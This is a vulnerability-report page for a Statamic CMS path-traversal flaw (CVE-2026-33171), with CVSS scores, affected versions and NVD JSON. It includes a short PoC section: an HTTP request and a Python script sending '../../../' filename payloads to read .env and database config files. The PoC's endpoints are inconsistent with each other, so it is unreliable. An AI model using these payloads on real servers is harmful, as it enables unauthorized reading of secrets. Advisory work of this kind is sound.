Security Vulnerability Report
中文
CVE-2026-33171 CVSS 4.3 MEDIUM

CVE-2026-33171

Published: 2026-03-20 22:16:29
Last Modified: 2026-03-23 18:46:31

Description

Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.14 and 6.7.0, authenticated Control Panel users could read arbitrary `.json`, `.yaml`, and `.csv` files from the server by manipulating the file dictionary's `filename` configuration parameter in the fieldtype's endpoint. This has been fixed in 5.73.14 and 6.7.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE
Statamic CMS < 5.73.14
Statamic CMS < 6.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
POST /cp/collections/entries HTTP/1.1 Host: target.com Cookie: statamic_session=valid_session_cookie X-CSRF-TOKEN: your_csrf_token Content-Type: application/json { "fields": { "file_field": { "config": { "filename": "../../../.env.yaml" } } } } # Python POC Example import requests target_url = "http://target.com/cp/fields/endpoint" session_cookie = "" headers = { "Cookie": f"statamic_session={session_cookie}", "X-CSRF-TOKEN": "", "Content-Type": "application/json" } # Exploit payload reading a config file payload = { "config": { "filename": "../../../config/database.yaml" } } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("Vulnerable! File content:") print(response.text) else: print("Exploit failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33171", "sourceIdentifier": "[email protected]", "published": "2026-03-20T22:16:28.820", "lastModified": "2026-03-23T18:46:31.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.14 and 6.7.0, authenticated Control Panel users could read arbitrary `.json`, `.yaml`, and `.csv` files from the server by manipulating the file dictionary's `filename` configuration parameter in the fieldtype's endpoint. This has been fixed in 5.73.14 and 6.7.0."}, {"lang": "es", "value": "Statamic es un sistema de gestión de contenido (CMS) impulsado por Laravel y Git. Antes de las versiones 5.73.14 y 6.7.0, los usuarios autenticados del Panel de Control podían leer archivos arbitrarios '.json', '.yaml' y '.csv' del servidor manipulando el parámetro de configuración 'filename' del diccionario de archivos en el endpoint del tipo de campo. Esto ha sido corregido en 5.73.14 y 6.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.73.14", "matchCriteriaId": "23CF5975-D5BE-4138-AE2F-95F7BBE00F20"}, {"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.7.0", "matchCriteriaId": "6B99B257-0FC1-4CF9-B006-8AEC17235BC8"}]}]}], "references": [{"url": "https://github.com/statamic/cms/security/advisories/GHSA-qm7r-wwq7-6f85", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}